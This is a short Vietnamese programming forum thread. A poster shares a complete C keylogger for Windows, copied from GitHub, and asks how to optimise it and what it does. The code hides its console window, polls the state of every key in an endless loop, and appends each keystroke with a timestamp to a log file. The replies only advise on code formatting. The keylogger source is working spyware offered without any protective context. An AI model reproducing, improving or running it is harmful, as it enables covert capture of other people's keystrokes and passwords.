Làm sao để tối ưu dòng code bắt phím này và giải thích!

#include <stdio.h> 
#include <windows.h>
#include <time.h>

#define FILE_NAME "Recordkeystrokes.log"

int main(){
	FreeConsole();
	FILE *file = fopen(FILE_NAME,"a");
	time_t date = time(NULL);
	fprintf(file,"0\n%s\t",ctime(&date));
	fclose(file);
	
	unsigned short ch , i ; 
	
	while(1){
		ch = 1 ; 
		while(ch < 250){
			for(i = 0 ; i < 50 ; i++ , ch++){
				if(GetAsyncKeyState(ch) == -32767){
					file = fopen(FILE_NAME,"a");
					fprintf(file,"%d ",ch);
					fclose(file);
				}
			}
			Sleep(1);
		}
	}
	
	return 0 ; 
}

Trước khi đăng lên thì bạn chú ý là Format và Markdown lại code cho mọi người dễ nhìn ! Thêm Tag phù hợp và nói rõ ra ngôn ngữ bạn đang dùng.


Code này bạn copy ở đâu mà lại cần phải giải thích :wink:

1 Like

ok mình hiểu rồi cảm ơn bạn

1 Like

mình copy ở github đó bạn . :grin:

Xem lại cách markdown code của bạn. Để như kiểu facebook như này chả ai muốn giúp bạn đâu.

    ```c
        code
    ```

Bạn làm như y chang vầy code của bạn sẽ rõ ràng hơn

1 Like

ok rất cảm ơn bạn đã chia sẻ .

83% thành viên diễn đàn không hỏi bài tập, còn bạn thì sao?